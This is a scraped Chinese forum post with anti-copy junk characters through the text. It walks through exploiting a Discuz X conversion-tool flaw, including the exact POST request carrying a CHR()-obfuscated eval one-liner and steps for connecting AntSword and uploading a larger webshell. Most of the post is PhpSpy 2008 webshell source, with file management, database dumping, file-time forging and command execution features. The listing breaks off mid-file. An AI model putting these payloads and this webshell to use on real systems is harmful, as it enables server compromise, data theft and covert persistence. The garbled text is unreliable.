|
攻击思路:# T8 W& A$ _0 a7 P: h$ s" m
想要拿下一台主机A的权限:; @/ a- V; }/ w9 l% W
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞8 E5 J$ N* \7 L
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权+ N6 k2 O: q8 }7 G$ r# x
3、传上去后,得到apache用户普通权限,再提权成root+ m6 E' o# Q1 W
概述:
# m0 _) R6 P5 I这突破在一个DZ X系列自带的转换工具里面。
& {9 v( {4 S" `* G4 }' N漏洞路径:utility / convert / data / config.inc.php. G+ C5 ]& d7 G( ~# W4 d6 @
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。6 h7 C/ q- g+ {0 j) A
触发突破过程:7 ^4 l* U$ ^4 f) h% N, l
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
: @+ R1 M1 |1 c& B0 p1 B, `# p2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
\) E5 Z& Z: G+ ~; J攻击过程:
) b: y# h Y, V# M2 _1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
" w7 U* ? h ]* H- W3 p# c: v R
2 z) q3 `, F- P' l4 N" Z4 _ . u! Q- T/ p0 u( k- K
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马4 I) ]6 h# k: V3 y/ v) w

$ x9 ?. L: h3 E8、通过中国蚁剑上传大码 W3 N! A d3 a% m

2 U O- U' t% T. u9 M 4 m k" T: T" a0 e- V
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php
, A& @) u$ E2 u8 \: D9 C K8 a# ? - ) `% ?6 W' S0 T" b2 g5 l) D2 o
- /*****************************************************************************# t! n5 s6 A# a- c2 e' p( k
- , u f) o; E2 L5 t+ u( J
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================8 Q: A, R. V7 f Z9 g9 s( |
-
# u9 S0 y$ W6 O. F - ====- Q( p& ~$ M, I& }$ U7 ^
-
# m" I" p' f. q - $ t: e2 @) o; U5 j' @, k
- *****************************************************************************/
' q1 ~5 q5 A8 n - ( A/ h3 g% L" }! d: k0 p! }% L
- error_reporting(7);
3 Y8 J& q1 J1 d8 o - @set_magic_quotes_runtime(0);
8 ?" @- I8 Z9 V; k& d - ob_start();. D$ e3 ]2 D" q
- $mtime = explode(' ', microtime());9 x8 B7 M& G4 d& Z% m
- $starttime = $mtime[1] + $mtime[0];7 T% k! b ~: O& D
- define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');* A$ w9 `& n" K! F: g( N% _! y& g
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );* ]* Q* y5 d2 d$ Q5 g0 B" O
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');& P; f' t) P+ T4 x- y3 b
- define('IS_COM', class_exists('COM') ? 1 : 0 );1 W" X5 f8 j# Q M; q( G* n
- define('IS_GPC', get_magic_quotes_gpc());
% V7 U9 n% {7 w" c0 v - $dis_func = get_cfg_var('disable_functions');7 T3 ~# H: W, l4 O# z
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
7 o$ \3 t- w7 r9 u! n( w% E8 J r# ] - @set_time_limit(0);
2 w {; E# U! Z" ^/ J, I -
* Z" c* C' v1 T9 D - foreach(array('_GET','_POST') as $_request) {
E0 @5 e: l) z. x; y - foreach($$_request as $_key => $_value) {; K' x" l7 J; X% z1 N% _
- if ($_key{0} != '_') {' c# [3 `5 h* U! O
- if (IS_GPC) {2 O+ X8 Y0 ~$ P& {! B
- $_value = s_array($_value);/ h) x$ o1 S4 {. y
- }% n) _+ o- u; S3 P! b, ]4 l
- $$_key = $_value;
; z0 Q+ W% r3 h4 C7 N0 X+ q b - }4 J$ o! ^/ b5 M7 o
- }, \4 L; T0 a& K/ y5 s5 K
- }
+ f6 v6 i+ D; X6 p- a1 [+ b - / S* N( ~7 C* ]) w' H
- /*===================== 程序配置 =====================*/8 y& k1 Y1 t: i
- $admin = array();
) J; ^! n/ I' T. j - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效/ i7 `4 u# k( G$ f) j/ w W0 w C
- $admin['check'] = true;
8 p/ R& J4 `3 L7 N. a - // 如果需要密码验证,请修改登陆密码( F" u! H3 k' y/ f: w
- $admin['pass'] = 'xuegod';, w' f4 d' U5 {6 ~
-
9 W0 K/ w/ {2 ]# V h4 i - //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
: }& c6 n# ]& R8 ^. ` - // cookie 前缀: k1 m: f/ `; P {- p9 Q, T7 ?1 a8 _
- $admin['cookiepre'] = '';- F+ v i* x" Z# b
- // cookie 作用域# V2 m2 C( Z9 u9 z
- $admin['cookiedomain'] = '';
. P) J; W7 j" ]' E5 N - // cookie 作用路径; m" h0 T8 E0 w+ b y$ s [# s
- $admin['cookiepath'] = '/';4 I8 P) N4 b; G" O) r
- // cookie 有效期
. Z* A1 r z9 `- d - $admin['cookielife'] = 86400;
v. l @6 d0 r' k, n) N - /*===================== 配置结束 =====================*/, v9 m W0 O' a
-
5 w# ]9 n& X+ P/ m/ @% S. Q - if ($charset == 'utf8') {
$ o7 M9 F: B* v7 p; A! v - header("content-Type: text/html; charset=utf-8");
+ p0 M' D! x" `* K1 A - } elseif ($charset == 'big5') {
3 k6 U" ?( J, d, |+ j - header("content-Type: text/html; charset=big5");1 C B/ R* w; P0 \5 S! v
- } elseif ($charset == 'gbk') {. P3 A* `1 f0 u I/ _
- header("content-Type: text/html; charset=gbk");0 m5 n+ d5 l) l0 v2 q/ b- R
- } elseif ($charset == 'latin1') {
) l7 T) H; G6 E - header("content-Type: text/html; charset=iso-8859-2");
) E" z0 h3 P$ G" Y' O" j - }
# F/ R* L+ M: G4 y2 y' ^ -
/ S. P: r8 m' | E" r% H/ M* h - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
6 o; p2 a6 v' x - $timestamp = time();4 ^; f0 Z( w9 P3 \
- ) w; X6 |* r9 ^; e$ A8 B$ P6 I
- /*===================== 身份验证 =====================*/6 z2 z$ z7 `1 ^) H; Y
- if ($action == "logout") {
1 T7 F }2 N5 W - scookie('phpspypass', '', -86400 * 365);
) F; K4 w- \6 d - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');0 |+ o# L" T/ ^" A! R1 }
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');# c& Y& z V$ ?5 ^6 g9 X" S
- exit;
1 E3 p1 E# F: e7 h+ l: J" }( r - }
( C- m5 k' D2 E( ~) m - if($admin['check']) {! K' D" Y0 U$ ]
- if ($doing == 'login') {
9 O/ e# \0 D4 Q: q ? - if ($admin['pass'] == $password) {! v$ \+ t( X8 Y" w6 ^; w. M- i
- scookie('phpspypass', $password);' S+ K# W5 t6 m8 {7 C7 C( s
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
3 e4 P: W L" f: p3 g( s4 m - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
( {' M, e( \% A6 @/ [ - exit;
5 U: q4 P+ p9 v - }
2 d' [ f; P! M - }& j% B6 ~1 {9 q% d/ J$ j0 J4 A6 b
- if ($_COOKIE['phpspypass']) {: O& L3 n3 m7 H3 w- r
- if ($_COOKIE['phpspypass'] != $admin['pass']) {
7 @: U& ^' e6 z7 k i - loginpage();
$ d# u- @# V% z8 _* | - }
- I' E/ H7 e% K- h, L; r1 L - } else {
+ E* @9 n d' {0 [: R5 O - loginpage();' b" z& g! S$ R
- } n& k, }" W# M( t- o" _
- }
3 ?# V7 c; a% \* T# [ - /*===================== 验证结束 =====================*/
# w ?& Z: L3 q6 O% m9 H- x; U -
* s& |8 E& g. ~: ~; r5 e - $errmsg = '';/ p$ _0 q6 n5 I! G4 P5 v
- ( R/ t# T- v2 ]! B: A$ G; J
- // 查看PHPINFO
4 x7 N& h4 l, f; c - if ($action == 'phpinfo') {
% d8 I( R; @) |' i, a, [, ^ - if (IS_PHPINFO) {; Z g" @% H* B* B( u' s, W, D
- phpinfo();$ ?+ n" B$ g. Z+ Z Q$ X
- } else {
. G5 _+ @5 i R5 k- C/ j - $errmsg = 'phpinfo() function has non-permissible';1 D6 I% d( G& _5 Z, M5 C) D% r. w
- }
6 {) O7 X7 I0 b. C - }
% G+ x2 n1 Z/ j7 U( x -
* h7 ~! |4 t, L! ~# K" R4 b; h - // 下载文件
# U% d, S# @) P- F- _' K2 |3 w - if ($doing == 'downfile' && $thefile) {
* b2 |/ r* x% ^ n4 Z. Y - if (!@file_exists($thefile)) {& C) h: O. u: u* U A: }
- $errmsg = 'The file you want Downloadable was nonexistent';1 H% g0 N! |) ^' q( D
- } else {
8 Y: S! T; m, A4 C - $fileinfo = pathinfo($thefile);
9 h. F2 B5 d1 i l - header('Content-type: application/x-'.$fileinfo['extension']);
+ T9 B" |$ R: X6 A* [ - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
5 x% W t h4 M+ M6 Q7 p1 o* Q - header('Content-Length: '.filesize($thefile));
! ?. U& M% y" @# W2 ^ - @readfile($thefile);
) [7 U- a8 U) X( j - exit;
- S( {" s9 p1 x3 v: N4 D - }5 x8 M, L, h+ g
- }
6 }, E3 L6 w0 b5 Z, R O( j - , c2 a! `# ^- W* A; a' K& U1 X2 C
- // 直接下载备份数据库
7 g# z3 Y; r- w; e6 w; @1 ~ - if ($doing == 'backupmysql' && !$saveasfile) {
' R# v5 @ V& q/ g+ m - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
0 D H' m( n/ ? - $table = array_flip($table);
0 H7 ~! V7 p2 y a! Q) ^ - $result = q("SHOW tables");5 ?, n; p3 z& J8 Y; U* Z. {9 l: m* n
- if (!$result) p('<h2>'.mysql_error().'</h2>');& h; d8 H3 H1 {5 k0 f7 V6 E( n
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
3 Z$ W6 Z" O: ^! s" D# [ - header('Content-type: application/unknown');
& U0 R9 {$ M# T# ?3 F% k y" y - header('Content-Disposition: attachment; filename='.$filename);
: ~# I$ ]1 o4 _/ K" d& B/ w$ h Z0 ~ - $mysqldata = '';
, P* z1 v3 N7 T+ k- e - while ($currow = mysql_fetch_array($result)) {
& I1 L- |+ j& E3 }6 I( W- n - if (isset($table[$currow[0]])) {' A8 R8 q( Q7 r) Z: }
- $mysqldata .= sqldumptable($currow[0]);' h' q: i* X' X* n' T& e$ E
- }3 V0 h* T. {4 K
- }( l% S. Y b W( T7 q: ]
- mysql_close(); n6 P+ p! r5 A/ n( z& }; O! U
- exit;7 M: `* `6 g) y; D9 A
- }! c: J, z6 F$ \8 L4 v5 ]
- 1 q2 @/ y9 }, C3 l
- // 通过MYSQL下载文件: T) x) z: F4 ?$ Q2 \) p
- if($doing=='mysqldown'){
$ W0 O, Z# q* ]5 ?" `# {! R - if (!$dbname) {2 X3 G9 N3 a6 d& W
- $errmsg = 'Please input dbname';: p" V% z( m5 H$ x8 {; j7 _) m
- } else {
2 P5 {) G6 q% A: ^9 y0 N - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);+ {/ `; E& b+ X; s
- if (!file_exists($mysqldlfile)) {) f# P6 f2 {0 S& E1 ~0 }% K
- $errmsg = 'The file you want Downloadable was nonexistent';
- C* g" H8 K7 ?$ G: u# b - } else {9 i8 _# |: v% @5 G* Q! f
- $result = q("select load_file('$mysqldlfile');");
8 R4 L# @2 u1 H; J' B& U - if(!$result){; v6 K! c# q, @% x2 W" E8 {. C: V: d) W
- q("DROP TABLE IF EXISTS tmp_angel;");; P2 H+ X2 _9 ^; [) i$ `6 f2 e
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
) T- r: t; H* T H. z* o - //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
8 w6 }0 R1 @1 ? - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); ]( [1 I- s' x
- $result = q("select content from tmp_angel");
! X: V+ Y5 c# \/ D - q("DROP TABLE tmp_angel");
1 p0 {- m% [- _7 T% G( M - }
+ a& \: ~+ k+ [- [! a - $row = @mysql_fetch_array($result);. S0 M0 F( A/ t; j+ I( z
- if (!$row) {: v9 }: k; x0 @. m& `5 {
- $errmsg = 'Load file failed '.mysql_error();( m3 o$ U* e# _# A
- } else {
. K- F4 o0 Q3 v, C& U; B, Y - $fileinfo = pathinfo($mysqldlfile);
6 r; |$ K! p# b+ W% Y - header('Content-type: application/x-'.$fileinfo['extension']);% Q+ e8 O0 n- F' d# \5 r
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);6 _0 ?( _* j5 Y E
- header("Accept-Length: ".strlen($row[0]));
/ ^2 N- \; E3 o. T+ c5 a% M+ Z" } - echo $row[0];5 A) q b4 Z0 `( A% Y# ^) W6 a3 b
- exit;
% R3 u3 j8 u) W9 n# W! [! P - }: L# y( K' n' l. B0 ]/ \& ?3 _
- }/ x3 w& \1 K* O: {* O
- }8 m. Y E4 V( X8 v$ ~- o
- } O K/ Q/ L' i( z1 ?
-
, Z- O7 i9 z8 v( ^4 p- T - ?> Y7 n; F6 l, H/ l
- <html>
% b7 k4 t2 M8 L - <head>
* M8 x3 H7 e0 ?- h4 C - <meta http-equiv="Content-Type" content="text/html; charset=gbk">1 L" f7 m& i# w7 M' S4 i
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>& k8 G- S" e: Y6 h k
- <style type="text/css">
* M# W6 \7 |3 T5 |# n - body,td{font: 12px Arial,Tahoma;line-height: 16px;}0 E9 `' u g) f* h! m
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}( D4 z" T- _& P6 c( C
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
8 b* W- G7 l" o" P# F - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
) {! ^/ } E- H7 A - a {color: #00f;text-decoration:underline;}/ d. D! u. O! n2 s$ i2 [
- a:hover{color: #f00;text-decoration:none;}
# F* D2 z" H; O, W% u- b1 q - .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}. k, |- Y' f0 c
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
9 ~9 g- x1 V( q - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}" n% ]. ?/ l% W S N# Y
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}3 z4 H- S# ?9 L
- .head td span{font-weight:normal;}/ ~4 E# _0 J2 X# F/ d2 F
- form{margin:0;padding:0;}1 S& T g; t, A/ w. u
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}7 o3 o/ m+ r; G1 W3 _$ z
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
; U- x* m& ]3 J7 ^ - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
, s3 r4 t5 |) r - </style>* m! F% m' X {$ T
- <script type="text/javascript">7 y' n. Z8 ^& c `+ @
- function CheckAll(form) {
4 @& i# O' T6 K - for(var i=0;i<form.elements.length;i++) {" o3 J, y) \( ^5 A4 X
- var e = form.elements[i];# j6 x. E& w8 b/ P7 ~5 G0 t3 M
- if (e.name != 'chkall')+ c/ e' X! }* K9 R
- e.checked = form.chkall.checked;
7 u" x6 U- m2 m5 q- v. h$ E) t8 n - }7 p# w5 E) P3 n0 m! Z1 {' j
- }
6 R, W* [4 d: E) z - function $(id) {
\9 @9 K, Y4 ~ w - return document.getElementById(id);6 W8 [0 ~- ?$ B* @2 W, T) L$ ~2 @
- }+ ]5 s3 z2 p8 G! A
- function goaction(act){
" b& d. O* U) q- d - $('goaction').action.value=act;
) l9 ^5 x2 A9 D - $('goaction').submit();
( F% H2 M1 l" e8 l4 e) _- H - }$ w. W& l" U$ ~! E- C" I. |
- </script>
( F, @7 j8 u7 ~+ A2 X6 ~: x2 q - </head>1 R( g5 @. \4 \3 ~# ~
- <body style="margin:0;table-layout:fixed; word-break:break-all">
1 Z& {' Q5 O' N( m2 R; B - <table width="100%" border="0" cellpadding="0" cellspacing="0">7 e" D/ c5 d7 ~% }# @( e
- <tr class="head">( N% C6 E# J8 Q4 u- ?8 [" h. U5 w
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>9 V- F* k* e J# m
- </tr>
# f# l. L. V2 j - <tr class="alt1">8 @8 a* ^2 |4 M/ J: Z0 ?
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span># h9 h) `; X! w3 t
- <a href="javascript:goaction('logout');">Logout</a> | + f4 P8 B. Q2 E; G2 ~* q
- <a href="javascript:goaction('file');">File Manager</a> | ( b* y# [' l! K* Y' h
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
2 {* u, K: K# ?8 M N - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
, B3 @3 [# h0 E: L Q9 v X - <a href="javascript:goaction('shell');">Execute Command</a> |
$ e O% r& E, N$ r, N k - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
0 S: R) m# D9 d5 q. b8 G: L$ X; D - <a href="javascript:goaction('eval');">Eval PHP Code</a>4 y ~: F7 {) i1 C' N5 r, Z, s- |
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
, k0 f0 @/ X% u. f, ? - </td>
: i& L& w! X; e - </tr>
) u" }$ l. ?" v( V - </table>. `/ U, j, \+ }& y' L7 L0 B
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>$ u" p: K- F3 I/ @
- <?php
) ^# ]; V0 z9 y- x - / D% a ^ C( o( m
- formhead(array('name'=>'goaction'));
2 z4 W$ i2 Z8 d& r& Y1 I - makehide('action');
- [4 o6 K2 y3 @; S - formfoot();- {9 j7 C, b: ], u( m! X
-
4 [* w4 z0 a5 D e9 n) l' f7 b - $errmsg && m($errmsg);
% v9 {' Z7 b2 A" c -
- _7 B& g+ G% b6 B- P3 J - // 获取当前路径
/ k7 B. _" z3 Z& v! ~ - !$dir && $dir = '.';' i* R+ k$ b' X5 g) J8 t8 L
- $nowpath = getPath(SA_ROOT, $dir);
/ L* c& o; H" k f, {$ R - if (substr($dir, -1) != '/') {
q( }( g1 k6 F# S( @ - $dir = $dir.'/';$ u' r2 p- w8 w0 P! ^
- }% L; o m. O* C" ^7 X8 j2 r
- $uedir = ue($dir);& S! P( N% F8 S! c$ G3 T. o
-
( o$ b% L: b5 E7 B0 y: j - if (!$action || $action == 'file') {
. n$ ?, v9 R0 j+ P% C3 I7 b - 4 N- }1 P9 Q8 \- Z& a
- // 判断读写情况
! X: B$ s$ X o - $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
) o7 O3 x: w. P+ J) p: v -
2 r5 ]' D" @. a* i' ^5 J" P - // 删除目录
, n* V) i; _0 w4 E9 K0 A - if ($doing == 'deldir' && $thefile) {
" S( N0 f' r! U+ U* C& u+ }. P2 f - if (!file_exists($thefile)) {5 ]- E8 g- P" P5 F5 l: S
- m($thefile.' directory does not exist');
" }4 _8 R( {% [7 g1 p( Q - } else {
+ d# N; {5 @ `6 a5 G, T - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
. S! S& X' T4 j; R& y6 |- b - }
/ S, \/ m* x8 m - }
# e! L3 s/ |! d8 [; E - e) R; ^0 a3 a& {9 ]" s7 Z
- // 创建目录- @* h/ W: S4 R% X! {
- elseif ($newdirname) {
: B3 \6 Q# }. U5 [6 i( [! v, G& Q - $mkdirs = $nowpath.$newdirname;1 b. B2 Y& y. y" F$ M& ~. v( E
- if (file_exists($mkdirs)) {
7 h; X- M6 m: | - m('Directory has already existed');
5 r! l" k! [( Z, g6 S - } else {7 E3 S- t; m- M$ _6 w3 L- `7 u
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
; M& ? W* t( ]0 M$ S, k, [( s3 R7 R - @chmod($mkdirs,0777);
9 R- x& U8 g( `" F; l: P - }
: T+ N& f. q1 | - }5 Z3 T! T: q6 I E0 b
-
' B3 j7 @ k% T - // 上传文件
2 N& F5 c n5 } - elseif ($doupfile) {
9 |; a- ~* G8 P( O" b - m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));9 n* g, | @7 T1 Y7 T2 A$ ^+ s- F; K u
- }2 q, G2 G& l6 D% Q/ Y# F5 e
-
V! c6 s1 s3 W' ^ - // 编辑文件
. l0 `) Y1 w& }3 x S% t - elseif ($editfilename && $filecontent) {
_# d4 M" W. H: N - $fp = @fopen($editfilename,'w');
- Z e7 l* U$ n) }) m2 _ T - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
2 Q: v% n7 O( }0 ~7 _8 B b - @fclose($fp);% Z. R4 [% j' F/ [0 ?$ t u" J
- }3 ^* g! a4 X3 _" O; q% k4 B4 G
- $ ^+ _% b: k2 a. |" ?
- // 编辑文件属性
; k' G2 G( P/ S6 N, V3 v# s( O - elseif ($pfile && $newperm) {
4 z4 ?* ]$ a% L, u5 M) E - if (!file_exists($pfile)) {
a: v) y. k, [. T* I% S5 K - m('The original file does not exist');
, n: t7 z4 A. q! f Q; E - } else {
- E- |( B0 v2 J X - $newperm = base_convert($newperm,8,10);
4 L8 l5 r' N4 L" O4 f3 w; D - m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
1 [% _7 A/ s" P - }
, Y T8 G$ t. F L - }' k- S3 }+ [8 [$ X
-
+ u( a' R: {6 |, _ - // 改名
; ?$ \9 |6 s& r8 ]; ^8 ]% t - elseif ($oldname && $newfilename) {
. l i" C# g1 X7 T0 U1 N - $nname = $nowpath.$newfilename;
) C( @) B7 E0 Y. P% m* w3 r: ? p - if (file_exists($nname) || !file_exists($oldname)) {
' H8 c( r0 T, ^5 H4 { - m($nname.' has already existed or original file does not exist');" p/ J( C* r V9 c0 t
- } else {
: {, y# J/ q8 c( s1 b/ ` - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
$ D* m3 @' l& S- E - }. }/ M9 J: |# ~' y! v* t
- }
: i: S# L. W3 V -
: z# o! M2 ?2 Q) W - // 复制文件
3 f6 a6 @1 n0 m' I% A4 E - elseif ($sname && $tofile) {
6 {+ N9 _1 @, l2 T; F - if (file_exists($tofile) || !file_exists($sname)) {
& g% V/ U+ [. H, V, [ - m('The goal file has already existed or original file does not exist');0 D# F; a V& E3 o
- } else {
/ D/ v8 ^ k$ ~# K7 ?4 H1 o; d% b - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));9 n" u1 A0 E# x
- }; ~! i! A( u0 A/ A5 j
- }
0 J8 A0 } ^$ H% Z/ c/ [4 M$ ^ -
: {9 a7 f+ p5 a8 a j+ \$ B# r - // 克隆时间6 T4 z+ m: X" p" n9 S
- elseif ($curfile && $tarfile) {
3 y2 _9 y# x( }) f - if (!@file_exists($curfile) || !@file_exists($tarfile)) {
' F) X N3 j# K) X( q - m('The goal file has already existed or original file does not exist');9 M2 B3 p2 M- [ A4 |2 p
- } else {
8 Q& x1 y8 |0 C4 A7 L+ n' u3 W - $time = @filemtime($tarfile);
! v. n4 F( Y6 l' H# Z3 i. a4 ^ - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));9 N C- Z; D) F% j+ T/ \7 M9 @
- }6 ?( V3 u) x. U0 [ I
- }
9 `; Y4 z+ [, Q6 y- L -
8 H" H9 V5 U8 I7 T7 j - // 自定义时间
6 Z& \" g0 B6 m) A5 ?1 T4 z4 X - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
) J" f& v& f$ o - if (!@file_exists($curfile)) {9 ]( A( H* }- q1 x
- m(basename($curfile).' does not exist');9 F& X: `. i' ?: [
- } else {
( a) Z/ |2 `8 h( Y- b. k& o - $time = strtotime("$year-$month-$day $hour:$minute:$second");
+ r, R6 Z5 E2 y9 O - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));% p: d4 q( @" U$ h2 X6 g
- }
* \" N8 T! j( P! b8 p' h% _1 [6 Z - }
2 K: A$ x! v7 U% K - 0 c5 e/ R" T2 }1 z
- // 打包下载
! x# ^/ [8 V& s, m" O6 N - elseif($doing == 'downrar') {! i' g' z: H: X8 C8 @; ~- \; B
- if ($dl) {0 s8 d z d2 I( b
- $dfiles='';
! d V, w# P6 v: r6 C - foreach ($dl as $filepath => $value) {
; }' h3 n. M$ g+ Z6 i7 L! [ - $dfiles.=$filepath.',';3 I9 s: l: q" o: k2 I) G2 S) r
- }9 |# e* P5 h4 R; x: g- v' W
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);9 ~1 V& f) }* @- b# E. x, O
- $dl=explode(',',$dfiles);$ u5 f( W) b9 H1 t
- $zip=new PHPZip($dl);
7 W4 A& ^* S x: s6 r5 y! m - $code=$zip->out;
5 L$ h& z9 v8 r8 W$ R9 i( J - header('Content-type: application/octet-stream');# Y% C8 t# q; ^/ o9 ~
- header('Accept-Ranges: bytes');
5 z, S( |, Y, Y - header('Accept-Length: '.strlen($code));7 l% W1 H1 s1 r" }' A0 W2 L
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');5 W: E5 T0 _; k; w" Y! ^
- echo $code;
: e7 q0 ~( T$ e( s! s3 \/ Y' T4 M - exit;
3 D `! S- d- J5 T4 O - } else {$ `; q, l0 y1 ~% U; g7 c
- m('Please select file(s)');
8 ^9 C# P) L2 L! E8 F9 x# e2 c% ?7 z - }
+ P% f3 I3 k, `& p& c7 O9 r! L - }1 q6 H/ a5 J8 `. k$ z
- / z. D2 U, C1 m/ K7 ]* U, P; X- [3 e
- // 批量删除文件: |$ C# d1 l3 d6 ~ r. m! d
- elseif($doing == 'delfiles') {; N! x: S3 w d/ C. A
- if ($dl) {) F* v/ m; Q/ t, m* i
- $dfiles='';7 x0 d. o; ?9 j3 t S
- $succ = $fail = 0;7 j. v: k( |2 H# S: M8 f& ]' M
- foreach ($dl as $filepath => $value) {
" T* S" X$ ^( k$ T - if (@unlink($filepath)) {5 g$ }7 A8 U% {$ x2 C* r' C4 l i- U
- $succ++;
' a' I3 I" ^, k& H" P: v: _ - } else {3 s' |$ `9 ]0 g8 m& Z
- $fail++;
7 x$ T, j. Q1 I5 v0 ~1 y - }
0 s& w! U& e+ i$ I+ E - }
4 `: G4 _5 C) [- E( N+ ]: V' y - m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);. Y7 x) ^ o' _0 P8 [$ i
- } else {
0 C6 F, y0 o, z& d3 Q - m('Please select file(s)');, ?0 `' z( G) A
- }
V5 {# G! L- e# H3 h - }) u9 v |) w" |/ C' b, W, z
-
S, B) @* a/ d - //操作完毕" B* R4 V" Y3 M
- formhead(array('name'=>'createdir'));. y3 T( N! N3 _9 n
- makehide('newdirname');
! y. E3 M: H$ h% _' a8 w - makehide('dir',$nowpath);
. U6 R' k6 |; G) \8 \# \ - formfoot();% F! ~6 k( d' s2 j
- formhead(array('name'=>'fileperm'));* \( U- j! E4 N$ X% z! v
- makehide('newperm');9 H, \! v* N; H2 a9 C. t# @
- makehide('pfile');' p4 J! y8 V. B
- makehide('dir',$nowpath);$ W, V/ c/ r6 k) O; s( V1 r
- formfoot();5 g: z- ]/ n! R) i/ T) L/ N g2 p
